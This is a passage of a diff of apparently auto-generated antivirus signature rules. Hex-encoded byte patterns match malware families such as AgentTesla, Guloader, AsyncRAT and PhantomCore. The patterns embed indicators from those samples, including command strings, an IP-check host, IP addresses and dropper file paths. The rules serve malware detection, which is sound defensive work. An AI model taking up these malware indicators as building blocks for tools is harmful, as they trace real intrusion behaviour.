$a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 58 5a 41 31 32 33 21 4d 54 42 00 01 00 0a 81 01 4f 6c 69 6e 20 43 6f 72 70 2e 01 00 1f 81 01 41 6c 6c 6d 65 72 69 63 61 20 46 69 6e 61 6e 63 69 61 6c 20 43 6f 72 70 6f 72 61 74 69 6f 6e 01 00 17 81 } //18467 $a_53_1 = {4f 20 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 20 49 6e 63 01 00 20 81 01 41 6e 79 20 56 69 64 65 6f 20 43 6f 6e 76 65 72 74 65 72 20 50 72 6f 66 65 73 73 69 6f 6e 61 6c 01 00 19 81 01 72 61 64 69 6f 62 6c 67 } //22273 - $a_65_2 = {67 61 62 72 69 65 6c 65 2e 65 78 65 00 00 78 bc 00 00 05 00 05 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 55 70 61 74 72 65 2e 67 65 6e 21 45 5f 73 74 72 00 01 00 0f 80 01 00 61 70 70 6c 69 63 61 74 69 6f 6e 2f 2a 00 01 00 08 80 01 00 74 65 78 74 2f 2a 00 01 00 13 00 52 74 } //29285 - $a_63_3 = {6d 70 72 65 73 73 42 75 66 66 65 72 01 00 0f 00 25 73 25 73 00 25 73 5c 25 73 00 6f 70 65 6e 01 00 12 00 63 68 65 63 6b 69 70 2e 64 79 6e 64 6e 73 2e 6f 72 67 02 00 0f 00 31 38 31 2e 31 38 39 2e 31 35 32 2e 31 33 31 02 00 0d 00 31 39 30 2e 31 31 31 2e 39 2e 31 32 39 00 00 78 bc 00 00 05 00 05 00 07 00 } //17516 - $a_45_4 = {3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 33 32 2f 52 65 64 53 70 72 6f 67 2e 41 21 64 68 61 00 01 00 0e 01 25 73 5c 64 62 67 68 65 6c 70 2e 64 6c 6c 01 00 0d 01 25 73 20 22 25 73 22 2c 53 74 61 72 74 01 00 07 01 64 65 6c 20 25 25 30 01 00 } //8993 + $a_65_2 = {67 61 62 72 69 65 6c 65 2e 65 78 65 00 00 78 bc 00 00 05 00 05 00 06 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 50 68 61 6e 74 6f 6d 43 6f 72 65 2e 41 21 64 68 61 00 01 00 1c 01 53 65 6e 64 69 6e 67 20 61 20 70 69 6e 67 20 74 6f 20 74 68 65 20 73 65 72 76 65 72 01 00 0d 01 72 65 71 75 73 74 65 72 20 74 61 } //29285 + $a_00_3 = {1b } //27507 + $a_64_4 = {6c 65 20 69 6e 73 74 61 6c 6c 20 73 75 63 63 65 73 73 66 75 6c 6c 79 01 00 1b 01 4d 6f 64 75 6c 65 20 73 6f 63 6b 73 35 20 6e 6f 74 20 69 6e 73 74 61 6c 6c 65 64 01 00 0b 01 6e 65 74 63 61 6c 6c 2e 65 78 65 01 00 0b 01 73 79 73 63 61 6c 6c 2e 65 78 65 00 00 78 bc 00 00 05 00 05 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f } //19713 condition: - ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*22273+(#a_65_2 & 1)*29285+(#a_63_3 & 1)*17516+(#a_45_4 & 1)*8993) >=5 + ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*22273+(#a_65_2 & 1)*29285+(#a_00_3 & 1)*27507+(#a_64_4 & 1)*19713) >=5 } -rule _InfrastructureShared_13024{ +rule _InfrastructureShared_13878{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " + + strings : + $a_46_0 = {42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 50 68 61 6e 74 6f 6d 43 6f 72 65 2e 41 21 64 68 61 00 01 00 1c 01 53 65 6e 64 69 6e 67 20 61 20 70 69 6e 67 20 74 6f 20 74 68 65 20 73 65 72 76 65 72 01 00 0d 01 72 65 71 75 73 74 65 } //16675 + $a_61_1 = {6b 01 00 1b 01 4d 6f 64 75 6c 65 20 69 6e 73 74 61 6c 6c 20 73 75 63 63 65 73 73 66 75 6c 6c 79 01 00 1b 01 4d 6f 64 75 6c 65 20 73 6f 63 6b 73 35 20 6e 6f 74 20 69 6e 73 74 61 6c 6c 65 64 01 00 0b 01 6e 65 74 63 61 6c 6c 2e 65 78 65 01 00 0b 01 73 79 73 63 61 6c 6c 2e 65 78 65 00 00 78 bc 00 00 05 00 05 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a } //8306 + $a_6f_2 = {6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 55 70 61 74 72 65 2e 67 65 6e 21 45 5f 73 74 72 00 01 00 0f 80 01 00 61 70 70 6c 69 63 61 74 69 6f 6e 2f 2a 00 01 00 08 80 01 00 74 65 78 74 2f 2a 00 01 00 13 00 } //28257 + $a_44_3 = {63 6f 6d 70 72 65 73 73 42 75 66 66 65 72 01 00 0f 00 25 73 25 73 00 25 73 5c 25 73 00 6f 70 65 6e 01 00 12 00 63 68 65 63 6b 69 70 2e 64 79 6e 64 6e 73 2e 6f 72 67 02 00 0f 00 31 38 31 2e 31 38 39 2e 31 35 32 2e 31 33 31 02 00 0d 00 31 39 30 2e 31 31 31 2e 39 2e 31 32 39 00 00 78 bc 00 00 05 00 05 00 07 00 21 23 54 45 4c } //29778 + $a_6f_4 = {61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 33 32 2f 52 65 64 53 70 72 6f 67 2e 41 21 64 68 61 00 01 00 0e 01 25 73 5c 64 62 67 68 65 6c 70 2e 64 6c 6c 01 00 0d 01 25 73 20 22 25 73 22 2c 53 74 61 72 74 01 00 07 01 64 65 6c 20 25 25 30 01 00 09 01 63 6d 64 20 2f 63 20 25 73 01 00 10 00 78 38 36 00 72 75 6e 64 6c 6c 33 32 2e 65 78 65 01 00 25 00 } //21562 + $a_77_5 = {6e 64 6f 77 73 5c 73 79 73 77 6f 77 36 34 5c 72 75 6e 64 6c 6c 33 32 2e 65 78 65 00 00 00 00 77 01 00 0f 02 25 73 74 65 6d 70 90 02 08 2e 62 61 74 90 00 00 00 78 bc 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 } //14947 + condition: + ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*8306+(#a_6f_2 & 1)*28257+(#a_44_3 & 1)*29778+(#a_6f_4 & 1)*21562+(#a_77_5 & 1)*14947) >=5 + +} +rule _InfrastructureShared_13879{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -146239,12 +156010,12 @@ rule _InfrastructureShared_13024{ $a_73_3 = {73 79 73 77 6f 77 36 34 5c 72 75 6e 64 6c 6c 33 32 2e 65 78 65 00 00 00 00 77 01 00 0f 02 25 73 74 65 6d 70 90 02 08 2e 62 61 74 90 00 00 00 78 bc 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 49 44 34 38 21 4d 54 42 00 01 00 0e 81 01 64 64 64 66 64 66 66 64 73 64 66 68 66 67 01 00 } //28516 $a_46_4 = {6f } //-32496 o $a_73_5 = {36 34 53 74 72 69 6e 67 01 00 11 81 01 4f 75 74 70 75 74 44 65 62 75 67 53 74 72 69 6e 67 01 00 08 81 01 54 6f 53 74 72 69 6e 67 01 00 1d 81 01 67 73 65 66 68 66 73 73 64 6c 66 64 73 66 64 73 66 64 66 70 66 64 68 64 64 67 64 73 67 01 00 19 81 01 67 64 64 67 64 6c 66 73 64 73 64 73 66 64 6c } //17005 - $a_64_6 = {64 66 68 73 67 00 00 78 bc 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4d 69 72 61 67 65 00 05 00 16 03 4d 69 72 61 67 65 90 02 20 4d 6f 7a 69 6c 6c 61 2f 34 2e 30 90 00 05 00 1d 01 57 69 6e 53 74 61 30 5c 44 65 66 61 75 6c 74 00 69 6e 69 00 4d 69 72 61 67 65 46 6f 78 01 00 27 01 75 73 65 72 5f 70 72 65 66 28 22 6e 65 74 77 } //26483 + $a_64_6 = {64 66 68 73 67 00 00 78 bc 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 41 41 36 30 31 21 4d 54 42 00 01 00 11 81 01 73 63 74 20 69 6e 64 62 72 69 6e 67 65 6c 73 65 73 01 00 0d 81 01 69 6e 64 6b 62 65 72 65 6e 2e 69 6e 69 01 00 09 81 01 74 79 70 65 64 2e 64 65 6d 01 00 1f 81 01 73 61 6d 6d 65 6e } //26483 condition: ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*28515+(#a_6f_2 & 1)*17518+(#a_73_3 & 1)*28516+(#a_46_4 & 1)*-32496+(#a_73_5 & 1)*17005+(#a_64_6 & 1)*26483) >=5 } -rule _InfrastructureShared_13025{ +rule _InfrastructureShared_13880{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -146257,22 +156028,37 @@ rule _InfrastructureShared_13025{ ((#a_4c_0 & 1)*21539+(#a_6c_2 & 1)*25601+(#a_52_5 & 1)*21320+(#a_62_6 & 1)*17524) >=5 } -rule _InfrastructureShared_13026{ +rule _InfrastructureShared_13881{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 49 44 34 38 21 4d 54 42 00 01 00 0e 81 01 64 64 64 66 64 66 66 64 73 64 66 68 66 67 01 00 10 81 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 11 81 01 4f 75 74 } //18467 - $a_44_1 = {62 75 67 53 74 72 69 6e 67 01 00 08 81 01 54 6f 53 74 72 69 6e 67 01 00 1d 81 01 67 73 65 66 68 66 73 73 64 6c 66 64 73 66 64 73 66 64 66 70 66 64 68 64 64 67 64 73 67 01 00 19 81 01 67 64 64 67 64 6c 66 73 64 73 64 73 66 64 6c 73 67 73 64 73 64 66 68 73 67 00 00 78 bc 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4d 69 72 61 67 } //30064 - $a_00_2 = {16 03 4d 69 72 } //101 - $a_90_3 = {20 4d 6f 7a 69 6c 6c 61 2f 34 2e 30 90 00 05 00 1d 01 57 69 6e 53 74 61 30 5c 44 65 66 61 75 6c 74 00 69 6e 69 00 4d 69 72 61 67 65 46 6f 78 01 00 27 01 75 73 65 72 5f 70 72 65 66 28 22 6e 65 74 77 6f 72 6b 2e 70 72 6f 78 79 2e 61 75 74 6f 63 6f 6e 66 69 67 5f 75 72 6c 01 00 0f 01 25 73 75 73 72 65 72 } //26465 - $a_64_4 = {69 6e 69 01 00 0f 01 25 73 75 73 72 33 32 5f 5f 25 64 2e 69 6e 69 01 00 0e 01 25 73 6f 73 33 32 5f 5f 25 64 2e } //24415 - $a_00_5 = {00 06 00 78 bc 00 00 06 00 06 00 06 00 21 23 54 45 4c 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 47 6f 6c 6c 79 2e 41 21 4d 54 42 00 01 00 18 01 67 69 74 68 75 62 2e 63 6f 6d 2f 67 69 6e 75 65 72 7a 68 2f 67 6f 73 74 01 00 13 01 6d 61 69 6e 2e 70 61 72 73 65 43 68 61 69 6e 4e 6f 64 65 01 00 13 01 6d 61 69 6e } //28265 + $a_44_1 = {62 75 67 53 74 72 69 6e 67 01 00 08 81 01 54 6f 53 74 72 69 6e 67 01 00 1d 81 01 67 73 65 66 68 66 73 73 64 6c 66 64 73 66 64 73 66 64 66 70 66 64 68 64 64 67 64 73 67 01 00 19 81 01 67 64 64 67 64 6c 66 73 64 73 64 73 66 64 6c 73 67 73 64 73 64 66 68 73 67 00 00 78 bc 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 } //30064 + $a_2e_2 = {41 41 36 30 31 21 4d 54 42 00 01 00 11 81 01 73 63 74 20 69 6e 64 62 72 69 6e 67 65 6c 73 65 73 01 00 0d 81 01 69 6e 64 6b 62 65 72 65 6e 2e 69 6e 69 01 00 09 81 01 74 79 70 65 64 2e 64 65 6d 01 00 1f 81 01 73 61 6d 6d 65 6e 73 74 69 6d 6c 69 6e 67 65 6e 5c 74 69 6c 6f 72 64 6e 65 74 5c 41 6e 65 74 01 00 12 81 01 2e 5c 73 75 62 74 65 72 66 } //25956 + $a_75_3 = {2e 62 69 6e 01 00 1d 81 01 63 65 70 74 6f 72 20 61 67 67 72 61 64 61 74 69 6f 6e 61 6c 20 61 66 67 72 6e 73 65 73 00 00 78 bc 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4d 69 72 61 67 65 00 05 00 16 03 4d 69 72 61 67 65 90 02 20 4d 6f 7a 69 6c 6c 61 2f 34 2e 30 90 00 05 00 1d 01 57 69 6e 53 74 61 30 5c 44 65 66 } //30060 + $a_74_4 = {69 6e 69 00 4d 69 72 61 67 65 46 6f 78 01 00 27 01 75 73 65 72 5f 70 72 65 66 28 22 6e 65 74 77 6f 72 6b 2e 70 72 6f 78 79 2e 61 75 74 6f 63 6f 6e 66 69 67 5f 75 72 6c 01 00 0f 01 25 73 75 73 72 65 72 5f 5f 25 64 2e 69 6e 69 01 00 0f 01 25 73 75 73 72 33 32 5f 5f 25 64 2e 69 6e 69 01 00 0e 01 25 73 6f 73 33 32 5f 5f 25 64 } //30049 + $a_69_5 = {00 06 00 78 bc 00 00 06 00 06 00 06 00 21 23 54 45 4c 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 47 6f 6c 6c 79 2e 41 21 4d 54 42 00 01 00 18 01 67 69 74 68 75 62 2e 63 6f 6d 2f 67 69 6e 75 65 72 7a 68 2f 67 6f 73 74 01 00 13 01 6d 61 69 6e 2e 70 61 72 73 65 43 68 61 69 6e 4e 6f 64 65 01 00 13 01 6d 61 69 6e 2e 28 2a 70 65 } //26926 condition: - ((#a_54_0 & 1)*18467+(#a_44_1 & 1)*30064+(#a_00_2 & 1)*101+(#a_90_3 & 1)*26465+(#a_64_4 & 1)*24415+(#a_00_5 & 1)*28265) >=6 + ((#a_54_0 & 1)*18467+(#a_44_1 & 1)*30064+(#a_2e_2 & 1)*25956+(#a_75_3 & 1)*30060+(#a_74_4 & 1)*30049+(#a_69_5 & 1)*26926) >=6 } -rule _InfrastructureShared_13027{ +rule _InfrastructureShared_13882{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 41 41 36 30 31 21 4d 54 42 00 01 00 11 81 01 73 63 74 20 69 6e 64 62 72 69 6e 67 65 6c 73 65 73 01 00 0d 81 01 69 6e 64 6b 62 65 72 65 6e 2e 69 6e 69 01 00 09 81 01 74 79 70 65 64 2e 64 65 6d 01 00 } //18467 + $a_73_1 = {6d } //-32481 m + $a_73_2 = {69 6d 6c 69 6e 67 65 6e 5c 74 69 6c 6f 72 64 6e 65 74 5c 41 6e 65 74 01 00 12 81 01 2e 5c 73 75 62 74 65 72 66 6c 75 6f 75 73 2e 62 69 6e 01 00 1d 81 01 63 65 70 74 6f 72 20 61 67 67 72 61 64 61 74 69 6f 6e 61 6c 20 61 66 67 72 6e 73 65 73 00 00 78 bc 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4d 69 72 61 67 } //25965 + $a_00_3 = {16 03 4d 69 72 } //101 + $a_90_4 = {20 4d 6f 7a 69 6c 6c 61 2f 34 2e 30 90 00 05 00 1d 01 57 69 6e 53 74 61 30 5c 44 65 66 61 75 6c 74 00 69 6e 69 00 4d 69 72 61 67 65 46 6f 78 01 00 27 01 75 73 65 72 5f 70 72 65 66 28 22 6e 65 74 77 6f 72 6b 2e 70 72 6f 78 79 2e 61 75 74 6f 63 6f 6e 66 69 67 5f 75 72 6c 01 00 0f 01 25 73 75 73 72 65 72 } //26465 + $a_64_5 = {69 6e 69 01 00 0f 01 25 73 75 73 72 33 32 5f 5f 25 64 2e 69 6e 69 01 00 0e 01 25 73 6f 73 33 32 5f 5f 25 64 2e } //24415 + condition: + ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*-32481+(#a_73_2 & 1)*25965+(#a_00_3 & 1)*101+(#a_90_4 & 1)*26465+(#a_64_5 & 1)*24415) >=6 + +} +rule _InfrastructureShared_13883{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -146287,7 +156073,7 @@ rule _InfrastructureShared_13027{ ((#a_54_0 & 1)*18467+(#a_28_1 & 1)*25970+(#a_61_2 & 1)*14924+(#a_69_3 & 1)*26691+(#a_00_4 & 1)*25960+(#a_09_5 & 1)*1278) >=6 } -rule _InfrastructureShared_13028{ +rule _InfrastructureShared_13884{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -146296,12 +156082,13 @@ rule _InfrastructureShared_13028{ $a_69_1 = {4e 6f 64 65 01 00 13 01 6d 61 69 6e 2e 28 2a 70 65 65 72 43 6f 6e 66 69 67 29 2e 01 00 0b 01 67 6f 73 74 2e 42 79 70 61 73 73 01 00 20 01 67 6f 73 74 2e 28 2a 6f 62 66 73 48 54 54 50 43 6f 6e 6e 29 2e 53 65 74 44 65 61 64 6c 69 6e 65 01 00 12 01 67 6f 73 74 2e 44 6f 6d 61 69 6e 4d 61 74 63 } //26691 $a_00_2 = {00 78 bc 00 00 07 00 07 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 31 38 30 31 32 33 21 4d 54 42 00 05 00 22 03 09 11 08 08 11 08 9a 1f 10 90 02 0a 00 11 08 17 58 13 08 11 08 08 8e 69 fe 04 13 09 11 09 2d d9 90 00 05 00 1c 03 08 06 07 06 9a 1f 10 90 02 0a 06 17 58 0a 06 07 8e 69 } //25960 $a_09_3 = {11 09 2d df 90 00 01 00 24 01 38 39 63 33 61 64 62 34 2d } //1278 - $a_36_4 = {34 63 64 39 2d 39 63 39 30 2d 37 64 30 31 32 37 65 30 31 33 30 32 01 00 17 01 47 61 6d 65 32 30 34 38 46 6f 72 6d 2e 50 72 6f 70 65 72 74 69 65 73 00 00 78 bc 00 00 07 00 07 00 07 00 21 23 41 4c 46 3a 50 55 41 44 6c 4d 61 6e 61 67 65 72 3a 57 69 6e 33 32 2f 4f 66 66 65 72 43 6f 72 65 2e 48 } //13360 + $a_36_4 = {34 63 64 39 2d 39 63 39 30 2d 37 64 30 31 32 37 65 30 31 33 30 32 01 00 17 01 47 61 6d 65 32 30 34 38 46 6f 72 6d 2e 50 72 6f 70 65 72 74 69 65 73 00 00 78 bc 00 00 07 00 07 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 5a 75 73 79 2e 47 41 44 21 4d 54 42 00 03 00 21 } //13360 + $a_c0_5 = {66 0f 6f ca 0f 57 c0 66 41 0f 74 08 66 41 0f 74 00 66 0f eb c8 66 0f d7 d1 85 d2 74 df 02 00 2c 01 64 53 6b 53 2b 46 46 59 66 42 49 2f 48 37 76 6a 5a 78 4c 63 7a 34 6f 57 62 73 5a 59 55 43 35 36 76 32 6c 37 6e 6a 68 4d 64 4a 41 3d 01 00 1f 01 74 63 6d 7a 74 64 32 4d 2b 48 6b 58 6b 42 79 2f 63 54 5a 4d 44 44 4a 43 6e 37 6d 6e 36 67 4b 01 00 17 01 34 51 59 75 59 6e 45 78 57 42 33 52 6e 71 71 } //18689 condition: - ((#a_4c_0 & 1)*21539+(#a_69_1 & 1)*26691+(#a_00_2 & 1)*25960+(#a_09_3 & 1)*1278+(#a_36_4 & 1)*13360) >=6 + ((#a_4c_0 & 1)*21539+(#a_69_1 & 1)*26691+(#a_00_2 & 1)*25960+(#a_09_3 & 1)*1278+(#a_36_4 & 1)*13360+(#a_c0_5 & 1)*18689) >=6 } -rule _InfrastructureShared_13029{ +rule _InfrastructureShared_13885{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 04 00 21 " @@ -146313,7 +156100,20 @@ rule _InfrastructureShared_13029{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*8090+(#a_38_3 & 1)*9216) >=7 } -rule _InfrastructureShared_13030{ +rule _InfrastructureShared_13886{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 04 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 5a 75 73 79 2e 47 41 44 21 4d 54 42 00 03 00 21 01 49 83 c0 10 66 0f 6f ca 0f 57 c0 66 41 0f 74 08 66 41 0f 74 00 66 0f eb c8 66 0f d7 d1 85 d2 74 df 02 00 2c 01 64 53 6b 53 2b 46 46 59 66 42 49 2f 48 37 76 } //18467 + $a_4c_1 = {7a 34 6f 57 62 73 5a 59 55 43 35 36 76 32 6c 37 6e 6a 68 4d 64 4a 41 3d 01 00 1f 01 74 63 6d 7a 74 64 32 4d 2b 48 6b 58 6b 42 79 2f 63 54 5a 4d 44 44 4a 43 6e 37 6d 6e 36 67 4b 01 00 17 01 34 51 59 75 59 6e 45 78 57 42 33 52 6e 71 71 62 50 75 56 75 7a 41 48 00 00 78 bc 00 00 07 00 07 00 07 00 21 23 41 4c 46 3a 50 55 41 44 6c 4d 61 6e 61 67 65 72 3a 57 69 6e } //23146 + $a_4f_2 = {66 65 72 43 6f 72 65 2e 48 4d 52 00 01 00 15 80 01 72 69 73 65 63 6f 64 65 73 2e 63 6f 6d 2f 70 72 69 76 61 63 79 01 00 0c 80 01 50 61 73 73 } //12851 + $a_64_3 = {61 6c 74 01 00 0b 80 01 47 45 54 49 4e 53 54 41 4c 4c 53 01 00 15 80 01 44 4f 57 4e 4c 4f 41 44 54 45 4d 50 4f 52 41 52 59 46 49 4c 45 01 00 13 80 01 54 44 4f 57 4e 4c 4f 41 44 57 49 5a 41 52 44 50 41 47 45 01 00 0b 80 01 43 6f 6e 74 61 69 6e 73 4b 65 79 01 00 0b 80 01 41 76 69 6e 73 74 61 6c 6c 65 72 00 00 78 bc 00 00 08 00 08 00 05 00 21 } //28535 + condition: + ((#a_54_0 & 1)*18467+(#a_4c_1 & 1)*23146+(#a_4f_2 & 1)*12851+(#a_64_3 & 1)*28535) >=7 + +} +rule _InfrastructureShared_13887{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -146329,7 +156129,7 @@ rule _InfrastructureShared_13030{ ((#a_46_0 & 1)*16675+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_bc_6 & 1)*0) >=7 } -rule _InfrastructureShared_13031{ +rule _InfrastructureShared_13888{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 05 00 21 " @@ -146342,7 +156142,7 @@ rule _InfrastructureShared_13031{ ((#a_63_0 & 1)*18467+(#a_04_1 & 1)*9504+(#a_41_2 & 1)*24940+(#a_61_3 & 1)*385) >=8 } -rule _InfrastructureShared_13032{ +rule _InfrastructureShared_13889{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -146358,7 +156158,7 @@ rule _InfrastructureShared_13032{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*25704+(#a_67_2 & 1)*12108+(#a_01_3 & 1)*27503+(#a_45_4 & 1)*8993+(#a_00_6 & 1)*112+(#a_6f_7 & 1)*30023) >=8 } -rule _InfrastructureShared_13033{ +rule _InfrastructureShared_13890{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -146373,7 +156173,7 @@ rule _InfrastructureShared_13033{ ((#a_54_0 & 1)*18467+(#a_65_2 & 1)*385+(#a_bc_3 & 1)*0+(#a_01_5 & 1)*10+(#a_bc_6 & 1)*0+(#a_c7_7 & 1)*-10526) >=8 } -rule _InfrastructureShared_13034{ +rule _InfrastructureShared_13891{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 03 00 21 " @@ -146384,7 +156184,7 @@ rule _InfrastructureShared_13034{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*100) >=11 } -rule _InfrastructureShared_13035{ +rule _InfrastructureShared_13892{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 05 00 21 " @@ -146397,7 +156197,7 @@ rule _InfrastructureShared_13035{ ((#a_54_0 & 1)*18467+(#a_c2_2 & 1)*-10026+(#a_06_3 & 1)*2579+(#a_11_4 & 1)*5078) >=11 } -rule _InfrastructureShared_13036{ +rule _InfrastructureShared_13893{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -146409,7 +156209,19 @@ rule _InfrastructureShared_13036{ ((#a_54_0 & 1)*18467+(#a_26_1 & 1)*400+(#a_05_2 & 1)*-28418) >=12 } -rule _InfrastructureShared_13037{ +rule _InfrastructureShared_13894{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 73 79 6e 63 52 41 54 2e 5a 54 55 21 4d 54 42 00 0a 00 66 03 07 20 99 33 5f f7 28 90 01 01 03 00 06 28 90 01 01 00 00 0a 20 fa 33 5f f7 28 90 01 01 03 00 06 28 90 01 01 } //21539 + $a_6f_1 = {01 01 04 00 0a 13 04 73 9e 04 } //0 + $a_08_2 = {11 04 17 73 a2 04 00 0a 0d 28 90 01 } //2560 + condition: + ((#a_4c_0 & 1)*21539+(#a_6f_1 & 1)*0+(#a_08_2 & 1)*2560) >=12 + +} +rule _InfrastructureShared_13895{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -146420,7 +156232,7 @@ rule _InfrastructureShared_13037{ ((#a_4c_0 & 1)*21539+(#a_01_2 & 1)*-28561) >=12 } -rule _InfrastructureShared_13038{ +rule _InfrastructureShared_13896{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 08 00 21 " @@ -146435,7 +156247,7 @@ rule _InfrastructureShared_13038{ ((#a_54_0 & 1)*18467+(#a_00_3 & 1)*115+(#a_4c_4 & 1)*11873+(#a_80_5 & 1)*2+(#a_80_6 & 1)*2+(#a_80_7 & 1)*2) >=15 } -rule _InfrastructureShared_13039{ +rule _InfrastructureShared_13897{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 05 00 21 " @@ -146449,7 +156261,7 @@ rule _InfrastructureShared_13039{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*4864+(#a_43_2 & 1)*4608+(#a_52_3 & 1)*29793+(#a_00_4 & 1)*29288) >=16 } -rule _InfrastructureShared_13040{ +rule _InfrastructureShared_13898{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 08 00 21 " @@ -146457,29 +156269,43 @@ rule _InfrastructureShared_13040{ $a_54_0 = {3a 50 57 53 3a 57 69 6e 33 32 2f 4c 6d 69 72 2e 67 65 6e 21 42 00 0a 00 12 01 43 72 65 61 74 65 52 65 6d 6f 74 65 54 68 72 65 61 64 01 00 13 01 49 6e 74 65 72 6e 65 74 43 6c 6f 73 65 48 61 6e 64 6c 65 01 00 10 01 49 6e 74 65 72 6e 65 74 4f 70 65 6e } //18467 $a_41_1 = {00 0d 01 49 6e 74 65 72 6e 65 74 4f 70 65 6e 41 01 00 12 01 47 65 74 4d 6f 64 75 6c 65 46 69 6c 65 4e 61 6d 65 41 01 00 07 01 73 74 72 72 63 68 72 01 00 0c 01 43 72 65 61 74 65 54 68 72 65 61 64 01 00 11 01 47 65 74 43 75 72 72 65 6e 74 50 72 6f 63 65 73 73 00 00 78 bc 00 00 14 00 14 00 06 00 21 23 48 53 54 52 3a 54 72 6f } //29269 $a_3a_2 = {53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 41 5a 21 4d 54 42 00 0a 00 41 02 20 00 01 00 00 14 14 18 8d 90 01 04 25 16 11 04 11 0c 18 5a 18 6f 90 01 04 a2 25 17 1f 10 8c 90 01 04 a2 6f 90 01 04 6f 90 01 04 26 00 11 0c 17 58 13 0c 11 0c 11 05 fe 04 13 0d 11 0d 2d aa 90 00 02 00 09 80 01 47 65 74 4d 65 74 68 6f 64 02 00 09 } //24938 - $a_75_3 = {73 74 72 69 6e 67 02 00 08 80 01 47 65 74 54 79 70 65 73 02 00 0e 80 01 53 79 73 74 65 6d 